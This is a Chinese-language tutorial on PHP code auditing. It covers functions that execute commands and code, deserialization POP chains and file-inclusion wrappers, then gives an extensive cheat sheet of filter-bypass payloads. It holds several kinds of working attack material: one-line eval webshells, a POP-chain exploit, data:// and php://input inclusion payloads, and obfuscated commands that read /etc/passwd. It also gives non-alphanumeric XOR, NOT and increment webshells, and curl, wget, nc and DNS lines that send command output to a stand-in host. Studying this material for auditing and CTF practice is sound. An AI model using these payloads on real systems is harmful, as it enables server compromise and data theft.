当前位置:首页>php>PHP审计中的命令、代码执行函数

PHP审计中的命令、代码执行函数

  • 2026-10-11 08:35:34
PHP审计中的命令、代码执行函数
通过前面的文章,对java代码已经有一定的了解了,基本上可以自己写exp了。现在转向php

命令执行漏洞

当应用程序将用户可控制的数据,未经充分验证或过滤,直接传递给能够执行系统命令/程序的函数时,所引发的安全漏洞,命令的执行在操作系统层面,比如执行Shell命令(如ls,whoami,ipconfig等)。该漏洞的危害等级属于(高危/严重)级别。其直接的影响包括服务器完全沦陷:获取Shell,控制整个服务器。

PHP中的核心命令执行函数

执行外部程序的函数

system()

描述:执行外部程序,并显示输出。 

原型:string system ( string $command [, int &$return_var ] ),其中$command是必需的字符串参数,表示要执行的系统命令(如"ls -l"),而‌[, int &$return_var ]是一个可选的引用参数,$return_var参数用于接收命令执行后的状态码(0 表示成功,非零表示失败)

exec()

描述:执行一个外部程序。 

原型:string exec ( string $command [, array &$output [, int &$return_var ]] ) 

行为:执行命令,但不会直接输出结果。可以将输出按行存储到数组$output中。返回最后一行输出。如果命令执行失败,返回FALSE。

shell_exec() 

描述:通过shell环境执行命令,并将完整的输出以字符串返回。 

原型:string shell_exec ( string $cmd ) 

行为:执行命令,并返回输出的全部字符串。如果没有显示的输出或错误,返回NULL。

passthru()

描述:执行外部程序并显示原始输出。 

原型:void passthru ( string $command [, int &$return_var ] ) 

行为:直接输出命令的原始结果,常用于执行二进制数据(如图像、音频)的命令。不返回值,但可以通过$return_var获取退出状态码。

进程控制函数

proc_open()

描述:执行一个命令,并且打开用于输入/输出的文件指针。 

原型:resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ) 

行为:此函数非常强大,可以控制进程的输入、输出、错误流,还可以指定工作目录和环境变量。返回一个表示进程的资源类型,失败返回FALSE。

popen()

描述:打开一个指向进程的管道。 

原型:resource popen ( string $command , string $mode )  

行为:打开一个管道,用于读取或写入命令的输入/输出。返回一个文件指针,可以像操作文件一样进行读写。使用pclose()关闭。

其他可能涉及命令执行的函数

mail()

描述:发送邮件。 

原型:bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] ) 

行为:当使用sendmail作为邮件发送程序时,$additional_parameters参数可能被用来向sendmail传递参数,如果用户能够控制该参数,则可能注入命令。因此,使用此函数时,应对$additional_parameters进行严格的过滤。

反引号运算符 `

描述:反引号(`)内的字符串会被作为shell命令执行,并且返回输出(与shell_exec()相同)。

总结

PHP中可执行命令的函数众多,从直接的system()到间接的mail(),从显式调用到通过回调函数执行。了解这些函数得作用与执行方式是渗透测试必要技术。同时也是代码审计的重要手段。

命令执行漏洞快速理解

首先搭建一个php运行环境,可以下载phpstudy一键部署。安装之后是这样的如下图:

然后进行如下配置之后,就可以启动服务器了。

如下这样表示应用启动成功。

命令执行函数对比

我们在网站根目录下创建一个目录execphp,然后新建一个php文件exec.php,代码就这样:<?php system("dir"); ?> 直接执行dir命令看看效果:

执行了dir命令,并且返回了执行结果,在看看其他函数的执行效果。

使用exec函数执行系统命令之后,却看不到结果。

这也是exec与system函数的最大的区别,exec函数执行之后会返回结果,但是不会显示的输出结果,要输出结果需要显示的输出。

如下图:

同样的shell_exec函数也是如此:

在这种情况下的命令执行,因为无返回的情况,可能导致判断错误,认为不存在漏洞。这在CTF中非常常见。这几个常见的命令执行函数的结果对比如下:

函数

返回值

是否直接输出

用途

shell_exec()

字符串

❌ 不输出

需要处理输出结果时

system()

最后一行输出

✅ 直接输出

只想执行并看到结果

passthru()

无

✅ 直接输出原始二进制

输出二进制数据(如图像)

exec()

最后一行输出

❌ 不输出(除非指定数组)

需要返回状态码时

反引号`

其作用是直接将反引号包裹得内容当成系统命令来执行:它也不会直接输出结果,而是返回执行得结果,需要显示的将结果输出。

proc_open() 和popen()

proc_open()基础语法与参数

resource proc_open (    string $command,                 // 要执行的命令    array $descriptorspec,           // 描述符规范    array &$pipes,                   // 管道引用    string $cwd = null,              // 工作目录    array $env = null,               // 环境变量    array $other_options = null      // 其他选项)

使用如下,稍显复杂:proc_open通常不在禁用列表中,可用来绕过disable_functions限制

popen() - 简化的进程管道

popen()基础语法

resource popen (     string $command,  // 要执行的命令    string $mode      // 模式:'r' 读 / 'w' 写)

最简单的使用如下,它也是无法直接输出命令结果,需要显示的输出执行结果。

php中的代码执行

代码执行与命令执行的核心区别在于攻击向量与执行方式:代码执行是指攻击者能够在目标环境中执行特定编程语言(如PHP)的代码,这些代码可进一步调用系统命令,从而间接实现系统控制;而命令执行则是攻击者直接注入并执行操作系统命令。两者虽然最终都可能获取系统权限,但代码执行通常需经过“代码解析→系统调用”的中间步骤,而命令执行则更直接地与操作系统交互。

eval() - 最危险的函数

它直接执行字符串中的PHP代码,同时它也是一句话木马中经常遇见的函数。比如下面这样

执行原理是这样的,它会将用户输入的内容当成php代码执行,那么原来的<?php eval($_GET['code']); ?> 就相当于

<?php eval(system('dir');); ?>  eval函数会执行system('dir'); 这个php代码,所以这里的格式需要PHP的语法格式。

所以一句话木马的原理也是这样。

比如常见的一句话木马内容:<?php eval($_POST['code']); ?>

其密码为code其实就是post的参数名字,可以是任意名字,而执行的代码将通过post的code参数传递,而其要执行的代码通常为反弹shell的代码。通过代码执行的中间步骤,转而执行系统命令。

也可以通过cookie的方式写入一句话:<?php @eval($_COOKIE['aaa']); ?>  如果使用了@符号,表示忽略报错信息。

assert() - 被滥用的调试函数

PHP 7之前assert可执行代码,与eval用法一样 assert($_GET['assert']);

create_function()

PHP 5.3 之前用于动态创建匿名函数的函数,其内部还是使用得eval函数进行的代码执行-已弃用

preg_replace() + /e修饰符(PHP<5.5)

/e修饰符使替换字符串作为PHP代码执行

$input = $_GET['name'];/e修饰符使替换字符串作为PHP代码执行preg_replace('(.*)/e', 'aaaa', $input);

比如输入?name=phpinfo();就会将其当成php代码执行。现在的php版本已经弃用。

回调函数的执行漏洞

array_map() - 数组回调函数

该函数可以将参数内容当成函数名,并执行。如下图:

该函数也是CTF中比较常用的函数。比如这样使用:array_map($_GET['a'], array($_GET['b'])); 同样 输入 ?a=system&b=whoami 这样函数名,以及要执行的参数均可自有控制,更危险了。

call_user_func()-系列函数

其用法与上面的函数几乎一样:call_user_func($_GET['func'], $_GET['cmd']); 同样的第一个是函数名,第二个是函数执行的参数。

它还有call_user_func_array函数,效果一样,只是第二个参数类型是array类型

其他回调函数

usort() / uasort() - 排序回调, array_filter() / array_walk() ,register_shutdown_function(),register_tick_function()等等

比如usort() 它接受两个参数:待排序的数组和一个比较函数。比较函数通常是一个用户自定义的回调函数,用于定义元素间的排序规则,如果自定义的比较函数可控,同样可以造成命令执行。

回调函数其用法基本差异不大,当调用的函数名可控时,可能会造成代码执行,从而执行系统命令。

动态函数/变量执行

可变函数调用

变量函数名,这种方式其实属于一种代码的拼接过程,比如代码是这样的:

$func = $_GET['aaa']; $func($_GET['bbb']);

当用户get请求aaa=system&bbb=dir  上面的代码会将会变成这样:

$func=system 下一步将func变量替换成对应的值:所以第二行代码会变成:

system($_GET['bbb']);从而最终就变成了system(‘dir’);最终执行代码,从而执行系统命令。

这何尝不是一种写入木马的方式呢。

也可以通过对象调用方法的方式,进行组合比如:$object(对象)->{$_GET['method']}($_GET['arg']); 方法名可控,参数可控同样可以达成代码执行的效果,但是有前提是只能调用$object对象存在的方法。

${} 变量变量

这种写法是一个变量变量的赋值,比如${},其通常不能直接执行代码,一般是:用户输入 → 变量变量 → 变量覆盖 → 代码执行的过程。但是在PHP 7.2+中,${...}() 这种语法被严格限制了。花括号内的表达式必须返回一个字符串类型的变量名,而不能直接是字符串字面量。所以其执行有一些条件限制。

比如现有代码:

// 假设原有代码$func="printf";$func('Hello');   // 正常输出: Hello//存在漏洞的代码:PHP 7.2 之前:可以正常工作${$_GET['a']}($_GET['b']); 

所谓变量变量就是用一个变量作为第二个变量的名字。从而导致第二个定义的变量是根据第一个变量的值进行变化的。

攻击过程:可覆盖 $func 比如输入?a=func&b=system,访问web之后:代码变成:$func = 'system';  $func('hello') ,最终变成 system('hello');那么如果就存在了执行命令的可能性。比如这里的hello变成其他命令,就完成了命令执行。当前的版本中其实现其实就是上面的可变函数。

反序列化漏洞的代码执行

unserialize() - 反序列化执行

php中的反序列化是将PHP 变量(包括对象)转换为可存储或传输的字符串的过程。而反序列化是将序列化的字符串还原为原始 PHP 变量(包括对象)的过程。

其核心函数是:serialize() - 序列化和unserialize() - 反序列化

先看看序列化serialize()

得到是一个字符串内容:a:7:{s:6:"string";s:5:"Hello";s:3:"int";i:123;s:5:"float";d:3.14;s:4:"bool";b:1;s:5:"array";a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}s:4:"null";N;s:6:"object";O:3:"aaa":1:{s:2:"aa";i:10;}} 这一串看起来很复杂,但是有一定的规律:

在PHP中存在反序列化数据类型标识。s: - 字符串,i: - 整数,d: - 浮点数,b: - 布尔值,a: - 数组,O: - 对象,N: - null,C: - 自定义对象,r: - 引用 根据这个规则,那么这里的a:7 表示数组长度为7 刚好对应$data的长度。以此类推后面的比如s:6:"string";s:5:"Hello" 表示字符串长度6,值是string,解析来是字符串长度5,值是hello,就得到了$data的第一个元素。根据这个规则,大佬就可以手搓序列化数据。

那么反序列化就是将其还原成这个array的过程如下:

那么其代码执行的产生是怎样的。这就需要使用到反序列化过程中的魔术方法了

__sleep() - 序列化时自动调用以及__wakeup() - 反序列化时自动调用,当该方法中存在恶意操作,或者用户可控的代码,将会导致代码执行。比如在序列化或者反序列化过程中存在用户可控内容:

在序列化或者反序列化过程从自动调用上诉两个方法,从而实现了代码执行,最终执行系统命令。

POP链构造-利用反序列化

比如存在下面的服务端代码:通常也会使用一些魔术方法,比如 __destruct:__destruct 的执行时机并不总是确定的,可能在脚本结束、对象引用被设为 null、超出作用域或调用 unset() 时触发

<?php//有2个正常的类代码如下classA{    public $obj;    public function__destruct() {//__destruct 是 PHP 中的一个魔术方法,它在对象被销毁前自动调用$this->obj->test();    }}classB{    public $func;    public $param;    public functiontest() {//test方法中使用回调函数,调用$func(),参数$paramcall_user_func($this->func, $this->param);    }}$data = $_GET['data'];//get请求中获取内容unserialize($data);//反序列化data?>

看似正常的代码,却存在代码执行的潜在风险。比如直接反序列化用户的数据。比如下面的代码:

<?php//有2个正常的类代码如下classA{    public $obj;    public function__destruct() {//构造函数调用obj的test方法$this->obj->test();    }}classB{    public $func;    public $param;    public functiontest() {//test方法中使用回调函数,调用$func(),参数$paramcall_user_func($this->func, $this->param);    }}// 构造利用链$a = new A();$b = new B();$b->func = 'system';$b->param = 'ipconfig';$a->obj = $b;echo serialize($a);?>

在原有的代码基础上创建2个对象,然后精心构造一些内容,然后得到的就是一个对象A,其属性$obj =$b(B对象),而$b对象的属性fuc和param分别是上面的代码执行的内容,然后输出这个$a对象的序列化数据如图:并且会在对象销毁时调用魔术方法__destruct(),然后执行到系统命令。

现在使用这个对象的序列化字符串,发送给pop.php:

达到命令执行的效果。看似没有创建对象,其实在反序列化过程中创建了对应的对象,同时会自动调用魔术方法。在PHP的反序列化漏洞利用过程中,很多都是通过魔术方法实现的。

文件包含导致的代码执行

include/require 系列

主要特点是会将包含的内容当成php代码执行。

_once变体:防重复包含‌include_once和require_once是安全增强版,确保同一文件在整个脚本生命周期中仅被加载一次。这在类定义、函数声明或常量注册中至关重要,可避免“Cannot redeclare class”等致命错误。

比如include函数,<?php  include($_GET['aaa']);  ?>直接这样包含一个用户输入的文件:

就使用当前目录下的exec.php文件,可以看到相当于访问了exec.php,直接将exec.php中的所有代码执行了一遍。有点类似这样:直接将包含的文件里面的内容复制到当前php的代码区执行。

当allow_url_include=On时,可以包含远程文件,即include('http://www.test.com/exec.php');可以这样包含。

包含中的特殊协议利用

data协议执行代码,服务端还是上面的例子,只是发送的请求改变了,比如发送的请求时data协议内容:aaa=data://text/plain,<?php system('ipconfig'); ?> 将用户输入的内容当成php代码执行。data:// 协议流和 http:// 一样,都受 allow_url_fopen 设置的控制,所以需要设置allow_url_include=On。

filter伪协议文件包含执行代码:还是使用最开的exec.php文件内容,使用filter伪协议读取文件内容:

php://input 读取POST数据

php://input 是一个只读流,允许你读取‌原始的 HTTP 请求体‌,这里将读取的内容交给include,达到代码执行的效果,但是其必须指定内容为<?php 格式才行。

expect:// 执行命令(需安装扩展)以及ZIP协议等

比如zip协议,只需要直接填写文件路径即可。代码的执行均是include实现。

小tips

在 PHP 中,eval,echo、print、isset、unset、include 等‌不是函数‌,而是‌语言结构‌(language constructs)。它们是 PHP 解析器内置的语法单元,‌不能被变量引用、不能作为回调、不能通过 call_user_func() 或动态调用‌。

什么意思呢?记得前面的回调函数call_user_func系列函数,通过回调的方式进行代码执行。如下:函数名和参数均可控的情况下:

我们输入eval看似没问题需要让其调用eval方法,在执行代码。但是它却报错了,提示第一个参数应该是一个有效的回调函数,这时候就需要用php中的函数方法,而不是语言结构方法。比如system函数,就可以成功。

以上就是命令执行和代码执行一些方式,他们的最主要的区别就是:

代码执行:在应用程序运行时环境中执行编程语言代码,比如php代码,java代码等,执行的是代码。代码执行范围更广,包含但不限于命令执行。

命令执行:直接调用操作系统层面的命令解释器(如bash、cmd、PowerShell)执行系统命令

而代码执行的最终目的也是为了执行的系统命令,那么最终也要执行系统命令的那些函数比如system(),exec(),从而执行系统命令。代码执行作为入口,命令执行作为攻击手段。

绕过技术

上面基本都是直接可用的情况,实际情况尤其是CTF中,基本上都有过滤的情况。下面是一些常见的绕过技巧

命令分隔符绕过

// 常用分隔符;        # 顺序执行,一般是linux才有效,windows无效|        # 管道,只显示后面命令结果||       # 前一个失败执行后一个&        # 后台执行,都会执行&&       # 前一个成功执行后一个`        # 反引号执行$(...)   # 命令替换\n       # 换行符 (0x0a)\r       # 回车符 (0x0d)

空格绕过

// 替代空格的字符${IFS}          # Linux中最常用$IFS$9          # $9是第九个参数,通常为空{cat,flag.txt}  # 大括号扩展<或<>           # 重定向符号%09             # TAB的URL编码%20             # 空格的URL编码%0a             # 换行的URL编码

大小写绕过

// 针对简单的大小写敏感过滤WhOaMiWHOAMIwHoAmI

双写绕过

一般是针对黑名单过滤,替换的情况

// 针对简单替换过滤whwhoamioami  // 如果过滤whoami为"",双写可绕过

反斜杠

// 插入反斜杠w\ho\am\iwho\amic\a\t /etc/passwd

通配符绕过(Linux)

比如?表示一个任意字符,*表示任意个任意字符

// ? 匹配单个字符/bin/cat /etc/passwd// 可替换为/bin/c?t /etc/passwd/???/c?t /etc/passwd// * 匹配多个字符cat /etc/passwd// 可替换为cat /etc/pass*cat /etc/pass??

变量拼接

通常需要对shell命令中的变量一定的了解,比如字符的截取技巧。如下

// bash变量拼接a=c;b=at;c=/etc/passwd;$a$b $ca=who;b=ami;$a$b// 使用环境变量${PATH:0:1}  // 获取PATH第一个字符${PWD:0:1}   // 获取当前目录第一个字符

编码绕过

通常需要配合管道符进行操作如下:

// Base64编码echo 'YL2V0Yy9wYXNzd2Q=' | base64 -d | bash`echo 'L2V0Yy9wYXNzd2Q=' | base64 -d`// Hex编码echo '636174202f6574632f706173737764' | xxd -r -p | bash

空变量绕过

主要是利用的是当一个变量未定义时,其默认为空

// $a未定义时为空cat$atest.txt    // 相当于 cat test.txtwho$@ami         // $@为空who${x}ami       // x未定义

引号绕过

// 单引号、双引号c'a't /etc/passwdc"a"t /etc/passwdc'a"t' /etc/passwd

反斜杠换行绕过

// 利用\在末尾可以连接下一行ca\t /etc/passwd

内联执行绕过

// 使用$()或``内联执行echo $(whoami)echo `whoami`

无回显绕过技巧

当命令执行没有回显的时候,这时候就需要一些其他方法来判断了,与SQL注入一样,同样存在延时的判断方法。

时间盲注

// 通过sleep判断命令是否执行whoami && sleep 5ping -c 4 127.0.0.1

比如使用ping的方式,会通常会有几秒钟的延时

DNS外带数据

其实就是将命令执行的结果发送给指定的服务器,在自己指定的服务器上接收命令执行的结果

// Linuxcurl `whoami`.test.comping -c 1 `whoami`.test.comnslookup `whoami`.test.com// 使用digdig `whoami`.test.com

HTTP外带数据

同DNS类似其实就是将命令执行的结果发送给指定的服务器,在自己指定的服务器上接收命令执行的结果

// 使用curl/wgetcurl http://test.com/$(whoami)wget http://test.com/$(cat /etc/passwd|base64)// 使用ncwhoami | nc test.com 4444

文件写入外带

外带原理均一样,通过将数据发送到其他地方,从其他服务器获取执行结果

// 写入web目录再访问whoami > /var/www/html/result.txtcat /etc/passwd > /tmp/result && curl -X POST -d @/tmp/result http://test.com

Windows命令分隔符

命令分隔符%0a    // 换行%0d    // 回车|      // 管道||     // 或&      // 按位与(都会执行)&&     // 与(前成功执行后)空格绕过whoamiwho^ami      // ^转义who"ami      // 双引号who'e'x'e    // 单引号who%20ami    // URL编码空格路径绕过// 短文件名C:\Progra~1\test.exe// 通配符type c:\*.txt// UNC路径\\127.0.0.1\c$\windows\system32\cmd.exe

无字母数字Webshell

使用^异或生成字符串以及通过取反生成字符串,其实现原理:每个字符通过 ASCII 码进行按位异或操作

// 使用^异或生成字符串    // 生成'system'字符串    $_ = '@@@@@@' ^ '3934%-';    $_($_GET['cmd']);;

比如下面这样:首先通过异或的方式获得可执行命令或者代码的字符串,再通过可变函数或者变量变量的方式进行执行,完成命令调用。

那么可以使用如下通用代码,自定义字符串,符号,生成想要的字符串。

取反生成

使用~取反,其核心原理也是通过操作字符的ASCII 码完成。

其核心思路是:‌1.目标字符串分析-即需要得到的目标字符串   2.‌取反操作-对目标字符串的每个字符的ASCII值按位取反(0变1,1变0),得到新的字节值(范围为0-255) 3.用八进制或十六进制表示取反后的字节:为了不使用英文字母,我们选择使用八进制转义序列(因为十六进制会包含字母)。将每个字节转换为八进制

比如这样:使用 \xxx 八进制格式表示每个取反后的字节

如果再结合上面的异或操作,就可以得到下面的类型:

<?php        // 生成'system'字符串$_ = '@@@@@@' ^ '3934%-';// 使用~取反$__ = ${~"\240\270\272\253"}['cmd'];$_ ($__);?>

依然可以执行

这样即可直接使用取反或者异或,也可多种方式结合,从而绕过waf拦截。

自增生成

主要利用++自增运算,其实也是操作的ASCII 码,主要从某个字符作为起点,然后++到想要的字符的ASCII 码位置即可。如果不需要任何英文字母,那么可以这样:当然其他类型的也可转换成字符串,但是只有对象和数组首字母会是英文字母。但是对象需要使用到英文字母。所以只有空数组可以达到效果:如下:

可以通过这样的方式得到字符A,在ASCII 码表A等65,所以需要其他字符可自增对应的次数即可。比如这样:

<?php$_=[];//定义空array数组$_=@"$_";//将其转换成字符串$_=$_['!'=='@'];//得到字符串的索引为0的字符--A$______=$_;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//得到S$___ =$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;//得到Y$____=$___;$____++;//得到T$_____=$______;$_____++;$_____++;$_____++;$_____++;//等到E$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;$______++;//M$______ =$_.$__.$___.$____.$_____.$______;//组合成system$______('dir');?>

那么又可以执行代码了,又可以结合其他方式,可自行尝试。

多层编码绕过

比如Base64 + URL编码,属于是linux bash语法的绕过,比如:

// Base64 + URL编码echo%20%27%59%32%56%6f%64%47%46%6b%5a%58%4a%68%62%58%42%76%63%6e%52%70%62%6d%64%68%64%47%56%6b%49%47%5a%70%62%47%56%66%5a%32%39%76%61%32%6c%6c%63%79%41%3d%3d%27%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68//url解码之后echo 'Y2F0IC9ldGMvcGFzc3dkCg==' | base64 -d | bash

在命令行执行如下:

通常情况下需要根据实际情况,采取对应的绕过方式,很多的绕过方法不论是在注入,或者命令执行,具有通用性,比如注释绕过空格等等。

最新文章

随机文章